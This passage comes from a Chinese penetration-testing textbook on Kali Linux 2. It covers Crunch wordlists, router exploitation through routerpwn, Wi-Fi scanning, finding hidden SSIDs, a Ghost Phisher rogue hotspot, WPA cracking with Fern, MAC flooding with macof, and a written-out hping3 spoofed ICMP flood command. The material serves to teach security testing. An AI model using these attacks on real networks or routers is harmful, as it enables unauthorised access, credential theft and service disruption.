在Crunch的主页上提供了这个工具的使用方法和范例。这个工具的使用十分简单，你所做的只是向Crunch提供3个值：
 
 
 	字典中包含词汇的最小长度。
 
 	字典中包含词汇的最大长度。
 
 	字典中包含词汇所使用的字符。要生成密码包含的字符集（小写字符、大写字符、数字、符号），这个选项是可选的，如果不选这个选项，将使用默认字符集（默认为小写字符）。
 

 
剩下的工作只需要交给Crunch去完成就可以了。下面我们给出一个简单的Crunch使用实例，首先在Kali Linux 2中启动一个终端窗口，然后输入“crunch 2 3 –o passwords.txt”，如图13-49所示。
 
[image: 图片 9]
 
图13-49　使用Crunch生成的2～3位密码
 
这条命令将会生成所有长度为2位和3位的密码，然后将这些密码保存在passwords.txt中。默认会产生“aa”“bb”“aaa”“zzz”之类的密码，如图13-50所示。
 
[image: 图片 10]
 
图13-50　密码文件
 
如果我们对目标比较熟悉的话，也可以指定目标常用的字符，例如我们看到某人的键盘上的qwert和1234几个键磨损得比较厉害的话，就可以指定这几个字符来产生一个密码，执行的命令为“root@kali: ~#　“crunch 4 4 quert1234 -o password2.txt””，如图13-51所示。
 
[image: 图片 11]
 
图13-51　使用指定字符Crunch生成的4位密码
 
　　生成的密码文件如图13-52所示。
 
[image: 图片 12]
 
图13-52　密码文件
 
　　好了，现在可以看到我们生成的密码只包含了“qwert1234”字符。
 
13.5　小结
 
在这一章中，我们介绍了一些网络渗透中常见的密码破解方式。首先我们以FTP服务为例，讲解了如何使用Kali Linux 2中的工具来破解常见的网络服务加密。接着我们介绍了如何针对Web页面中的密码进行破解。这两种破解方式采用的都是暴力穷举，虽然这种方式在目前的实际成功率并不高，但却是在渗透测试时必须要进行的步骤。紧接着我们开始了对使用哈希加密密码的破解，哈希加密算法有很多，因此我们也介绍了如何使用Kali Linux 2来识别一个哈希值是采用了何种加密方法。本章的最后讲解了如何在Kali Linux 2中使用字典文件。
 
在现阶段，密码是一个常见的认证方式，除了在网络应用中大量使用之外，大量软件也都使用了密码验证方式，限于本书的篇幅，本章只介绍了前者。下一章我们将会介绍当前极为热门的无线安全渗透。
 


第14章　 无线安全渗透测试
 
今时今日，人们已经越来越离不开无线网络，相比起那种极为不便利的网线连接方式，这种便利的无线网络连接方式越来越受到人们的喜爱，几乎成为了每个单位和家庭上网方式的首选。可是无线网络上网方式的普及除了带来了便利之外，也为网络的安全带来了更大的危险。因为传统的有线连接方式，对于设备的接入往往有较大的限制，因此外来者在试图进入某个网络时难度较大。有线网络通过网线连接计算机，而无线网络则是通过无线电波来连网。常见的就是一个无线路由器，那么在这个无线路由器的电波覆盖的有效范围都可以采用无线网络连接方式进行连网，而无线网络则降低了这种入侵的难度。
 
一般架设无线网络的基本配备就是无线网卡及一台AP，如此就能以无线的模式，配合既有的有线架构来分享网络资源，架设费用和复杂程度远远低于传统的有线网络。AP为Access Point的简称，一般翻译为“无线访问接入点”。有了AP，就像一般有线网络的Hub一般，无线客户端可以快速且轻易地与网络相连。特别是对于宽带的使用，无线网络的优势更为明显，有线宽带网络(ADSL、小区LAN等）到户后，连接到一个AP，然后在计算机中安装一块无线网卡即可。
 
现在的AP大都由无线路由器充当，针对这种设备的入侵方式包括无线网络密码的破解、路由器的控制等。在Kali Linux 2中专门有一个分类的工具集合都是针对无线网络的，这里面就包括了极为著名的aircrack-ng、kismet等。在这一章中我们将会围绕如下几点就如何使用这些工具来讲解：
 
 
 	如何对路由器进行渗透测试
 
 	如何扫描出可连接的无线网络
 
 	查看隐藏的热点
 
 	制作一个钓鱼热点
 
 	破解Wi-Fi的密码
 
 	使用Kismet进行网络审计
 

 
14.1　如何对路由器进行渗透测试
 
路由器在某些方面和我们所使用的计算机很相似，也是由硬件和软件组成，其中最为重要的软件就是操作系统。路由器的操作系统一般都是基于Linux的，黑客可以利用操作系统的漏洞进行攻击。另外为了便于使用者进行配置，在路由器的操作系统中都会内置一个Web服务器，对外提供http服务。使用者通过登录这个服务器的IP地址，就可以打开一个配置页面。图14-1就给出了一个常见的路由器管理登录页面。
 
[image: 图片 12]
 
图14-1　一个常见的路由器管理登录页面
 
在这个页面中，使用者可以完成使用密码、mac过滤、系统重置等功能。因此这个Web服务器也就成为了黑客重点攻击的目标。
 
下面首先来介绍一种极为简单的攻击方式，你可以访问http://www.routerpwn.com/这个页面，如图14-2所示。在这个页面中提供了大量的路由器的漏洞渗透模块，利用这些模块你可以轻而易举地对路由器进行渗透测试。
 
在这页面的上方列出了目前生产路由器的各大厂商，如图14-3所示。里面有我们国内比较熟悉的Cisco、D-Link、TP-Link等，例如我们现在的目标是一个TP-Link生产的路由器，那么就可以在这里面选中TP-Link。这时下方将只会展示与TP-Link有关的漏洞渗透模块，如图14-4所示。
 
[image: 图片 4]
 
图14-2　http://www.routerpwn.com页面
 
[image: 图片 6]
 
图14-3　Routerpwn列出的路由器生产厂商
 
[image: 图片 7]
 
图14-4　TP-Link的漏洞页面
 
这里面的漏洞渗透模块是以一个表的形式显示，一共5列。从左侧数起，第一列是漏洞渗透模块的时间，第二列是模块的种类，第三列是模块的来源，第四列是该模块的标题，第五列是该模块的作者。这里面需要注意的是第二列，也就是漏洞渗透模块的种类，在这个页面中一共将漏洞渗透模块分成了如下4个种类。
 
 
 	Advisory：这个种类表示提供的是一个链接，点击这个链接可以查看这个漏洞渗透模块的信息。
 
 	Metasploit Module：这个种类也表示提供的是一个链接，这个漏洞渗透模块可以在Metasploit中直接使用。
 
 	One Click：这种模块的使用方法最为简单，你只需要简单地单击这个模块几下，设置就可以完成渗透。
 
 	Poc：这个种类表示链接地址提供的是渗透模块的代码。
 

 
这4种模块中要数One Click的使用方法最为简单，无论你使用的是哪一种操作系统，只要有一个浏览器就可以完成渗透过程。
 
下面我们就以一台TP-Link 8840T 路由器为例（这是一个2012年披露的漏洞，目前的TP-Link路由器都已经修补了该漏洞，这里只是出于教学目的），TP-Link 8840T在实现上存在安全限制绕过漏洞，默认允许WAN用户访问设备的管理员Web接口，攻击者可利用此漏洞绕过某些安全限制并执行非法操作。利用这个漏洞我们就可以远程将目标路由器的密码重置为空，如图14-5所示。
 
[image: 图片 8]
 
图14-5　密码重置漏洞模块
 
如图14-6所示，我们首先单击这个模块，默认的路由器地址为192.168.1.1。
 
[image: 图片 9]
 
图14-6　选中密码重置漏洞模块
 
如果路由器不是这个地址，可以单击后面的“SET IP”，将IP地址设置为目标地址，如图14-7所示。
 
[image: 图片 10]
 
图14-7　在密码重置漏洞模块中设置IP
 
接下来这个模块就会开始运行，自动绕过安全机制，将路由器的管理密码设置为空。“One Click”类的命令虽然使用很简单，但是功能却十分强大。你可以详细地参阅这里面提供的漏洞模块，并尝试使用这些模块来重置目标路由器的密码，获取目标路由器的配置信息，对目标路由器的文件进行遍历，甚至可以远程执行一些命令。
 
14.2　如何扫描出可连接的无线网络
 
在现代化的网络中，网线已经很难看到了，取而代之的是越来越方便的无线网络。目前在很多的单位中也大都使用了无线网络。因此对这种新型的网络进行渗透也是我们的工作。目前用来进行渗透测试的无线网络工具则非Aircrack—NG莫属。这是一款由Thomas d’Otreppe、Christophe Devine共同开发的专门用来完成对无线网络进行监控、测试、攻击甚至渗透的工具。最新版的Kali Linux 2将所有的无线渗透测试工具都放在了分类“06- Wireless Attacks”中，图14-8中就给出了该分类中的主要工具。
 
在这个分类中的第一个工具就是Aircrack—NG，这也可以看出Kali开发团队对这款工具的喜爱。使用Kali Linux 2对无线网络进行渗透测试时，必须要注意一点，普通的网卡不能完成常见的渗透任务，你需要使用一款能够完美支持Kali Linux 2的无线网卡。不过这一点很容易办到，在淘宝上你只需花几十元就可以买到一款这样的无线网卡。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\1fa96437\Screenshot from 2017-10-03 04-45-35.png]
 
图14-8 “06-Wireless Attacks”分类下的主要工具
 
下面所进行的测试都是在VMware虚拟机中进行的，所以在将无线网卡插入到主机的USB接口之后，需要在虚拟机中进行如图14-9所示的设置，依次选中“可移动设备”—你的无线网卡的名称（我这里使用的是“Ralink802.11 nWLAN”）—连接（断开与主机的连接）。
 
[image: 图片 4]
 
图14-9　将Kali Linux 2虚拟机与无线网卡连接
 
在Kali Linux 2虚拟机中，打开一个终端，检测这个网卡是否已经正常工作，这里可以使用命令“ifconfig”来查看网络连接情况，如图14-10所示。
 
这时出现的wlan0就是我们刚刚插入的无线网卡，现在这块网卡已经开始工作了，但是还不要高兴得太早，因为我们还需要进行下一步的检测。
 
[image: 图片 5]
 
图14-10　当前虚拟机的网络连接情况
 
在终端中输入命令来启动wlan0：
 
root@kali：airmon-ng start wlan0
 
执行这条命令之后，很快会出现如图14-11所示的界面。
 
[image: 图片 6]
 
图14-11　开启monitor模式
 
这时耐心等待一小会儿，如果出现了如图14-12所示的界面，那么恭喜你，你的网卡可以使用了。
 
[image: 图片 7]
 
图14-12　成功创建wlan0mon接口
 
刚才的工作其实将我们的网卡设置为监听模式，而且系统使用我们的无线网卡建立了一个新的接口“wlan0mon”，在我们接下来的使用中，都将使用这个接口。PID中列出的是一些可能影响aircrack-ng的进程。
 
接下来我们在终端中输入如下命令：
 
root@kali:~# airodump-ng wlan0mon
 
这时就会查找到所有可以连接的无线网络，如图14-13所示。如果你已经找到了目标网络的话，可以使用“Ctrl+C”组合键结束这个搜索。
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图14-13　使用airodump-ng搜索到的无线网络
 
这是一个表格形式展示的无线网络信息，每一列代表的含义如下：
 
BSSID        　热点的MAC地址

PWR            无线的信号强度或水平

Beacons        无线发出的通告编号

ENC            加密方法，包括WPA2，WPA，WEP，OPEN

CH             工作频道

AUTH         　使用的认证协议

ESSID        　无线网络名称
 
这里如果你发现了使用WEP加密模式的无线网络，那么这个网络很容易成为黑客入侵的牺牲品。Kali Linux的前身BackTrack系列最初就是凭借对WEP加密的破解而在国内普及的。另外OPN（就是open）的网络表示没有使用任何的加密模式，校园网里面的无线网络一般是采用的这种模式，但是连上之后需要进行认证。
 
14.3　查看隐藏的热点
 
我们经常会看到很多安全方面的教程中提到可以将热点隐藏起来，这样可以保证我们无线网络的安全，这的确可以提高一点安全性，但是我们并不能仅此就高枕无忧。实际上有很多办法可以找出那些隐藏的热点，这个原理实际上是关闭了无线信号的SSID广播，使得无线终端无法扫描到该路由器的名称。
 
作为渗透测试者的我们，也有必要来找出那些已经被设置为隐藏的热点，如图14-14所示。因为这些热点也有可能被黑客作为入侵的入口，检测的方法是要首先启动wlan0mon，如图14-15所示。
 
[image: 说明: C:\Users\admin\Documents\Tencent Files\53966215\FileRecv\MobileFile\S71020-143223.jpg]
 
图14-14 创建一个隐藏SSID的热点
 
实现这一点除了需要airmon-ng之外，还需要一个可以解析数据包的工具，这里面我们选择Wireshark。下面我们启动这两个工具，注意一点这里启动Wireshark的方法和平时不一样，这里要使用“&”，命令如下：
 
root@kali:~#wireshark&
 
启动的界面如图14-16所示。
 
[image: 图片 1]
 
图14-15　启动wlan0mon
 
[image: 图片 14]
 
图14-16　启动Wireshark
 
这里选择使用wlan0mon作为监听的网卡，如图14-17所示。
 
[image: 图片 15]
 
图14-17　Wireshark的工作界面
 
然后单击启动，也就是那个鲨鱼鳍标志的按钮，很快就可以捕获到大量的Wi-Fi数据包，如图14-18所示。
 
[image: 图片 2]
 
图14-18　Wireshark捕获到的数据包
 
仔细观察上面捕获数据包的“Destination”一列的值，这里面有一部分数据包的“Destination”值为Broadcast，这表示目标地址就是一个隐藏的热点，如图14-19所示。
 
[image: 图片 3]
 
图14-19 “Destination”列的值
 
如果一个客户端去连接这个隐藏的热点的时候，就会发送“Probe Request”类型的数据包，我们只需要找到目的地址（Destination）为Broadcast，并且为“Probe Request”的数据包就可找到隐藏的SSID名称。图14-20中框选标出的就是我们找到的这种类型的一个数据包。
 
[image: 图片 5]
 
图14-20　数据包的详细信息
 
注意观察这个数据包，它的目的地址（Destination）为Broadcast，并且为“Probe Request”的类型。在最后的Info列，我们可以看到这个SSID的值为“hidden”。这正是我们之前隐藏的SSID设置的名称，有了这个名称就可以像连接其他热点一样地连接到这个看不见的热点了。
 
14.4　制作一个钓鱼热点
 
“不要去连接来历不明的热点”这句话应该是这两年最热门的网络安全用语，很多人可能并不知道如果连接了那些恶意热点的后果。那么现在我们就来构造一个恶意热点，看看如何利用这个热点对无线设备进行渗透。很多软件都可以让我们的无线网卡成为一个热点，这里面我们以“Ghost Phisher”为例来演示这次渗透过程。
 
Ghost Phisher是一款支持有线网络和无线网络的安全审计工具。它通过伪造服务的方式，来收集网络中的有用信息。它不仅可以伪造AP，还可以伪造DNS服务、DHCP服务、HTTP服务。同时，它还可以构建陷阱，进行会话劫持、ARP攻击，最后还可以收集各种登录信息。这个工具使用Python编写，并提供界面操作，所以使用起来非常方便，如图14-21所示。
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图14-21　Ghost Phisher的工作界面
 
首先来设置用来伪造热点的所用的网卡，单击右侧的“Refresh Card List”，然后单击下方的“Set Monitor”，如图14-22所示。
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图14-22　设置Ghost Phisher使用的网卡
 
这次使用wlan0作为伪造热点所使用的网卡，接下来对热点的各种属性进行设置，这些属性包括SSID、加密方式等，如图14-23所示。
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图14-23　设置伪造热点的各种属性
 
建立好了热点之后，下一步就可以构造虚假的DNS服务器、HTTP服务器、DHCP服务器，以此来渗透接入的设备。同时也可以对连入热点的设备进行会话劫持、ARP毒化等攻击，如图14-24所示。
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图14-24　伪造DNS服务器的设置界面
 
在这个界面中我们可以选择为热点指定一个DNS服务器地址，这样连入热点所有设备的DNS请求就都会发送到这个DNS服务器。另外我们也可以选择只伪造一条DNS解析记录，在上面方框中添加对应的内容就可以完成这个任务。
 
14.5　破解Wi-Fi的密码
 
常见的无线网络都是使用密码进行验证的，只有输入正确的密码才能连接到目标网络。有时我们渗透测试的目标采用的就是加密的无线网络，目前常见的加密方式为WEP、WPA和WPA2等，但是WEP的安全性较差，已经逐渐被淘汰。大多数无线网络加密方式采用了WPA和WPA2，例如图14-25中右侧有一个锁标志的就都是加密了的网络。
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图14-25 附近的无线网络
 
如果没有密码的话，我们无法进入到这些加密网络。那么是否有办法获得这些密码呢？Kali Linux 2中提供了一些专门用于破解Wi-Fi密码的工具，其中这里面最为有效的就是Fern Wi-Fi Cracker。这款工具可以破解使用WEP和WPA加密模式的密码，但是需要注意的是，破解WPA密码并不像WEP密码那么容易。好了，我们先来启动这款工具，如图14-26所示。
 
[image: 图片 2]
 
图14-26　在Kali Linux 2中启动Fern Wi-Fi Cracker
 
Fern Wi-Fi Cracker启动之后的工作界面如图14-27所示。
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图14-27　Fern Wi-Fi Cracker的工作界面
 
首先要选择用来连接无线网络的网卡，单击右上方的“Select Interface”下拉列表框，这里面我们选择“wlan0”，如图14-28所示。
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图14-28　网卡下拉列表框
 
然后单击下面那个天线图标的按钮，这个按钮的作用是扫描范围内的热点，单击之后这个按钮右侧的文字就会显示为绿色的Active，下方对应的WEP和WPA右侧红色的数字表示找到的对应这种加密方式的热点，如图14-29所示。
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图14-29　扫描到了25个以WPA作为加密模式的热点
 
当扫描完成之后，单击Wi-Fi按钮就可以进入到攻击设置界面了，如图14-30所示。
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图14-30　攻击设置界面
 
Fern Wi-Fi Cracker提供了两种破解目标网络的方式，一种是常规密码破解，另一种是利用WPS的漏洞进行攻击，但后者需要目标网络开启WPS。这里我们选择使用常规密码破解方式，在这个界面中选择其中一个AP进行测试，例如TP-LINK_2AA6，首先在Attack Option单选框中选择“Regular Attack”，然后在右下角“Browse”处选择要使用的字典文件。最后单击上方右侧的Attack按钮开始攻击。但是这种攻击需要捕获客户端和热点之间的通信，两者之间的通信越频繁，破解的概率就越高。如果当前没有连接，此时会弹出一个警告框，告诉我们目前没有客户端连接，因此无法进行密码破解。单击“handshake Status”后面的下拉列表框可以看到与当前热点连接的客户端。
 
当一切设置完毕之后，就可以开始密码的破解了，破解的进度可以在界面下方的进度条处看到。成功地破解之后，我们可以返回到主界面选择“Key Database”来查看破解的密码。破解的密码都被保存在这个小型数据库中，如图14-31所示。
 
在Fern Wi-Fi Cracker中还提供了一些小工具，这个工具箱的界面如图14-32所示。
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图14-31　密码数据库
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图14-32　Fern Wi-Fi Cracker中的小工具
 
14.6　使用Kismet进行网络审计
 
Kismet 是一款工作在 802.11 协议第二层的无线网络检测、嗅探、干扰工具。它可以工作在支持raw监控模式的所有无线网卡上；可以嗅探包括 802.11b、802.11a和802.11g在内的协议包。如图14-33所示，Kismet位于Kali Linux 2系统中的第6个分类wireless attacks中，也可以打开一个终端，然后在里面输入“Kismet”来启动这个程序。
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图14-33　在Applications中启动Kismet
 
启动之后的Kismet界面如图14-34所示。
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图14-34　Kismet界面
 
在弹出的“Kismet is running as root”界面中单击“OK”按钮，如图14-35所示。
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图14-35 “Kismet is running as root”界面
 
然后选择“Yes”来启动这个服务器，如图14-36所示。
 
在接下来的“Start Kismet Server”里保存默认设置即可，单击“Start”按钮，如图14-37所示。
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图14-36 “Start Kismet Server”界面
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图14-37　服务器设置界面
 
在是否添加网卡界面中选择“Yes”按钮即可，如图14-38所示。
 
添加网卡的详细信息，在Intf中，输入无线网卡接口。如果无线网卡已处于监听模式，可以输入wlan0或mon0。其他信息可以不添加。然后单击“Add按钮，如图14-39所示。
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图14-38　是否添加网卡界面
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图14-39　网卡的详细信息
 
添加完网卡信息之后，就会显示如图14-40所示的扫描信息。
 
在该界面选择“close console window”按钮，就可以显示如图14-41所示的图形化界面。
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图14-40　扫描到的信息
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图14-41　图形化界面
 
该图形化界面显示的信息，就是正在嗅探该无线网络中的信号。在左上角显示了嗅探到的网络中的数据包信息，中间的图显示嗅探到的网络流量，横线上方的柱形表示数据包，横线下方的柱形表示数据。我们也可以使用上方菜单栏中的Sort按钮进行排序，使用view按钮来选择显示的数据。当运行一定时间后，停止修改。在该界面单击Kismet菜单选项并选择Quit命令，如图14-42所示。
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图14-42　Kismet的下拉菜单
 
按下Quit命令后，将显示如图14-43所示的界面。
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图14-43 “Stop Kismet Server”界面
 
在该界面单击“Kill”按钮，将停止Kismet服务并退出终端模式。此时，终端将会显示一些日志信息，如图14-44所示。
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图14-44　Kismet的日志信息
 
可使用ls命令查看以上生成的日志文件。执行命令如图14-45所示。
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图14-45　使用ls命令查看生成的日志文件
 
可以看到，Kismet一共输出了5个日志文件，这些文件中保存了生成的所有信息，这些文件有着不同的属性，这一点从后缀名可以看出来。这5种文件的含义具体如下：
 
 
 	alert：所有的警告信息都保存在这个文件中。
 
 	gpsxml：所有的GPS数据都保存在这个文件中。
 
 	nettxt：所有的文本输出信息都保存在这个文件中。
 
 	netxml：所有的XML格式的数据都保存在这个文件中。
 
 	pcapdump：整个会话捕获的数据包都保存在这个文件中。
 

 
如果你希望对这些流量数据进行进一步的分析的话，可以使用WireShark打开pcapdump文件，在Wireshark中可以详细地查看这些流量的内容。
 
14.7　小结
 
在这一章中我们总结了无线网络的各种渗透方式。首先介绍了无线网络的核心——路由器的入侵方式，接着讲解了如何扫描出可以连接的热点。在有些时候，我们可能会遇见一些隐藏了SSID的热点，在本章的中间部分讲解了如何找出这些隐身热点的方法。紧接着讲解了如何使用Ghost Phisher来构造一个钓鱼热点，凭借这个热点可以获取目标的大量信息。还介绍了如何使用Fern Wi-Fi Cracker来破解加密的Wi-Fi密码。最后给出了一个Kismet的使用实例，这是一个极为有效的无线网络审计工具。
 
事实上，无线网络确实并不像大多数人预计的那么安全。这一章中以实例的形式介绍了几种典型的无线渗透工具的使用，这些工具可以有效地帮助我们完成渗透任务。现在掌握对无线网络的渗透技能是一个渗透测试工程师必要的技能之一。
 


第15章　拒绝服务攻击
 
我们在学校食堂用餐的时候，经常会有等待餐桌的经历。学校食堂提供的餐桌只有几百个，往往有人要排着队等待餐桌。如果使用了餐桌的人迟迟不离开的话，那么后面的人就会越来越多，学校食堂提供的餐桌也就无法对外提供正常的服务了。当然平时出现这种情况的主要原因是因为学校食堂提供的餐桌数量不够，只要增加餐桌的数量就可以解决这个问题了。但是如果是有人故意为之的话，比如有大量并不是真的在吃饭的人却占着餐桌不离开的话，就会导致其他人都无法在这个食堂进餐。那么这时食堂实际上已经不能正常对外提供服务了，这种故意占用某一系统对外服务的有限资源，从而导致其无法正常工作的行为就是拒绝服务攻击。
 
拒绝服务攻击是指攻击者想办法让目标机器停止提供服务，是黑客常用的攻击手段之一。其实对网络带宽进行的消耗性攻击只是拒绝服务攻击的一小部分，只要能够对目标造成麻烦，使某些服务被暂停甚至主机死机，都属于拒绝服务攻击。拒绝服务攻击问题也一直得不到合理的解决，究其原因是因为网络协议本身的安全缺陷，从而拒绝服务攻击也成为了攻击者的终极手法。
 
实际上拒绝服务攻击并不是一个攻击方式，而是一类具有相似特征的攻击方式的集合。这类攻击方式分布极广，黑客可能会利用TCP/IP协议层中数据链路层、网络层、传输层和应用层各种协议漏洞发起拒绝服务攻击。下面按照这些协议的顺序来介绍一下各种拒绝服务攻击以及实现的方法：
 
 
 	数据链路层的拒绝服务攻击
 
 	网络层的拒绝服务攻击
 
 	传输层的拒绝服务攻击
 
 	基于应用层的拒绝服务攻击
 

 
15.1　数据链路层的拒绝服务攻击
 
首先我们来查看在数据链路层发起的拒绝服务攻击方式，很多人对这种攻击方式很陌生，它的攻击目标是二层交换机。这种攻击方式的目的并不是要二层交换机停止工作，而是让二层交换机以一种不正常的方式工作。
 
很多人可能对这种说法感到困惑，什么是交换机不正常的工作方式呢？现在的网络设备大都采用了交换机，但是却并非从有网络的时候我们就使用这个设备。早期网络使用的是一种名为集线器的设备，如果你阅读过一些比较老旧的黑客书籍的话，那里面大都会提到一种使用sniffer来监听整个局域网的方法。这种方法极为简单，只需要网卡支持混杂模式即可。但实际上如果你现在真的按照这种方法的话，就会发现其实除了本机的通信之外将会一无所获。这是怎么回事呢？
 
产生这种情况的原因在于多年前局域网进行通信的设备大都是集线器，而现在使用的却是交换机。这两种设备的作用相同，都可以实现局域网两个主机之间的通信。但是工作原理却不同，简单地说，集线器中没有任何的“学习”和“记忆”能力。假设一个局域网中有100台计算机，这些计算机都用网线连接到集线器的网络接口上，其中每一个接口对应一台计算机。当其中的A计算机在向B计算机发送数据包时，需要先将数据包发给集线器，由集线器负责转发。可是当集线器收到这个数据包时并不知道哪个接口连接到了B计算机，所以集线器会大量地复制这个数据包，然后向所有的接口都发送一份这个数据包的副本。结果就是局域网中的所有计算机都收到了这份数据包，每台计算机上面的网卡会查看这台数据包上的目的信息，如果该目的并非本机的话，就会丢弃这个数据包。这样就只有B计算机才会接收并处理这个数据包。但是这种机制并不能确保数据包的保密性，就像我们之前提到的那样，局域网中的任何一台主机只需要将网卡设置为混杂模式，然后使用抓包软件（例如之前提到的sniffer），就可以捕获到网络中的所有通信数据包。
 
目前的局域网中几乎已经见不到集线器的踪影了，取而代之的是交换机。相对于集线器，交换机则多了“记忆”和“学习”的功能。这两个功能是通过交换机中的CAM表实现的，这张表中保存了交换机中每个接口所连接计算机的MAC地址信息，这些信息可以通过动态学习来获得。
 
这样当局域网中的A计算机向B计算机发送数据包时，会先将这个数据包发送到交换机，由交换机转发。交换机在收到这个数据包时会提取出数据包的目的MAC地址，并查询CAM表，如果能查找到对应的表项，就将数据包从找到的接口发送出去。如果没有找到，再将数据包向所有接口发送。在转发数据包的时候，交换机还会进行一个学习的过程，交换机会将接收到数据包中的源MAC地址提取出来，并查询CAM表，如果表中没有这个源MAC地址对应接口的信息，则会将这个数据包中的源MAC地址与收到这个数据包的接口作为新的表项插入到CAM表中。交换机的学习是一个动态的过程，每个表项并不是固定的，而是都有一个定时器（通常是5分钟），从这个表项插入到CAM表开始起，当该定时器递减到零时，该CAM项就会被删除。
 
这个机制保证了采用交换机设备的局域网的数据包传送都是单播的，但是CAM表的容量是有限的，如果短时间内收到了大量的不同源MAC地址发来的数据包，CAM表就会被填满。当填满之后，新到的条目就会覆盖前面的条目。这样当网络中正常的数据包到达交换机之后，而交换机中CAM表已经被伪造的表项填满，无法找到正确的对应关系时，只能将数据包广播出去。这时收到攻击的交换机实际上已经退化成了集线器了。这时黑客只需要在自己的计算机上将网卡设置为混杂模式，就可以监听整个网络的通信了。
 
这种攻击其实也很简单，只需要伪造大量的数量包发送到交换机，这些数据包中的源MAC地址和目的MAC地址都是随机构造出来的，很快就可以将交换机的CAM表填满。
 
Kali Linux 2中提供了很多可以完成这个任务的工具，我们来介绍一个专门用来完成这种攻击的工具-macof，这个工具的使用方法很简单，下面给出了这个工具的使用格式：
 
Usage: macof [-s src] [-d dst] [-e tha] [-x sport] [-y dport] [-i interface] [-n times]
 
在实际应用中，这里面的参数只有-i是会使用到的，这个参数用来指定发送这些伪造数据包的网卡。
 
使用macof的方法很简单，在Kali Linux 2中打开一个终端，然后输入macof即可启动这个工具。
 
root@kali:~# macof
 
图15-1中给出了这个工具的工作界面。
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图15-1　macof向网络发送的数据包
 
交换机在遭到攻击之后，内部的CAM表很快就被填满了。交换机退化成集线器，会将收到的数据包全部广播出去，从而无法正常地向局域网提供转发功能。
 
15.2　网络层的拒绝服务攻击
 
位于网络层的协议包括ARP、IP和ICMP等，其中的ICMP协议主要用于在IP主机、路由器之间来传递控制消息。我们平时检测网络连通情况时使用的Ping命令就是基于ICMP协议的，例如我们希望查看本机发送的数据包是否可以到达192.168.1.101就可以使用如图15-2所示的Ping命令。
 
[image: 图片 3]
 
图15-2　使用ping命令向目标发送数据包
 
从图15-2中可以看出，我们发送的数据包得到了应答数据包，这说明192.168.1.101收到了发出的数据包，并给出了应答。这个过程遵守了ICMP协议的规定。上面例子中使用的ping就是IMCP请求（Type=8），收到的回应就是ICMP应答（Type=0），一台主机向一个节点发送一个Type=8的ICMP报文，如果途中没有异常（例如被路由器丢弃、目标不回应ICMP或传输失败），则目标返回Type=0的ICMP报文，说明这台主机存在。
 
但目标主机处理这个请求和应答是需要消耗CPU资源的，处理少量的ICMP请求并不会对CPU的运行速度产生影响，但是大量的ICMP请求呢？
 
我们仍然使用Ping命令来尝试一下，这次将ICMP数据包设置得足够大，Ping命令发送的数据包大小可以使用-l来指定（这个值一般指定为65500），这样构造好的数据包被称作“死亡之Ping”，因为早期的系统无法处理这么大的ICMP数据包，在接收到这种数据包之后就会死机，现在的系统则不会出现这种问题，但是我们可以考虑使用这种方式向目标连续的发送这种“死亡之Ping”来消耗目标主机的资源，例如向目标不断的发送大小为65500的数据包，如图15-3所示。
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图15-3　向目标发送长度为65500的数据包
 
这里我们只向目标发送了488个ICMP数据包就停止了，实际上我们发送再多的数据包效果也并不明显，这个原因主要是现在的操作系统和CPU完全有能力处理这个数量级的数据包，那么接下来呢，既然对方能够承受这个速度的数据包了，那么我们的拒绝服务攻击也就没有效果了。我们必须想办法提高发送到目标的数据包的数量，这里主要有两个办法，一是同时使用多台计算机发送ICMP数据包，二是提高发送的ICMP数据包的速度。
 
第一种方法只需要更多的设备重复上面的操作即可，我们现在来学习以下第二种方法的实现，那就是使用专门进行拒绝服务攻击的工具，相比起系统自带的Ping程序，这种工具的效率更高，速度更快。
 
这次我们采用Kali linux 2中自带的hping3来进行一次拒绝服务攻击。这是一款用于生成和解析TCP/IP协议数据包的开源工具，之前推出过hping和hping2两个版本，目前最新的版本是hping3。利用这款工具我们可以快速定制数据包的各个部分，hping3也是一个命令式的工具，其中的各种功能要依靠设置参数来实现。启动hping3的方式就是在Kali linux 2中启动一个终端，然后输入“hping3”即可：
 
root@kali:~# hping3

hping3>
 
鉴于hping3的参数数目众多，我们可以参考这个工具的帮助文件，参看帮助的方法是在终端中启动输入“hping3 --help”，因为这个帮助较长，所以我们这里只讲述其中一小部分，其余部分你可以自行查看帮助文档。
 
root@kali:~# hping3 --help
 
hping3中的各个参数含义具体如下：
 
-h    --help        显示帮助信息

-v    --version    显示当前hping的版本

-c    --count        发送指定数据包的次数

-i    --interval    发送数据包之间的间隔时间（格式为uX，表示间隔时间为X微秒）

    --fast        将数据包之间的间隔时间设置为10000微秒，也就是每秒发送10个

    --faster        将数据包之间的间隔时间设置为1000微秒，也就是每秒发送100个

    --flood        尽可能快地发送数据包，不显示回应

-n    --numeric    数值化的输出

-q    --quiet        静默模式，只显示最后的统计数据

-I    --interface    指定需要使用的网络接口

-V     --verbose    详细模式

-D    --debug        调试信息

-z    --bind        将“ctrl+z”键组合键与发送包的TTL值绑定，按一次TTL值加1

-Z    --unbind        解除“ctrl+z”键组合键与发送包的TTL值的绑定

    --beep        每个接收到的数据包都有蜂鸣提示
 
hping3中发送数据包的模式选择如下：
 
-1    --icmp        ICMP模式，此模式下HPING会发送IGMP应答报，你可以用—ICMPTYPE 

--ICMPCODE选项发送其他类型/模式的ICMP报文。

-2    --udp        UDP模式，缺省下，HPING会发送UDP报文到主机的0端口，你可以用

--baseport --destport --keep选项指定其模式。

-8    --scan        SCAN mode. //扫描模式    指定扫描对应的端口。
 
好了，现在我们就利用刚刚介绍过的hping3参数来构造一次基于ICMP协议的拒绝服务攻击，在Kali Linux 2中打开一个终端，然后在终端中输入：
 
root@kali:~# hping3 -q --rand-source --id 0 --icmp -d 56 --flood 192.168.1.101
 
这里面的-q 表示静默模式，不显示接收和发送的数据包；--rand-source 表示伪造随机的源地址，--id 0 表示有ICMP echo 请求 (就是我们平时执行Ping命令时的数据包)，-d 56表示包的大小 (56是Ping命令时数据包的正常大小)，--flood 表示尽可能快地发送数据包，如图15-4所示。
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图15-4　使用hping3向目标进行ICMP拒绝服务攻击
 
这种攻击产生数据包的速度非常之快，我们使用“Ctrl+C”组合键能结束这个过程，可以看到在短短的几秒钟时间内，就已经产生了几十万个ICMP数据包，如图15-5所示。
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图15-5　hping3发包统计
 
15.3　传输层的拒绝服务攻击
 
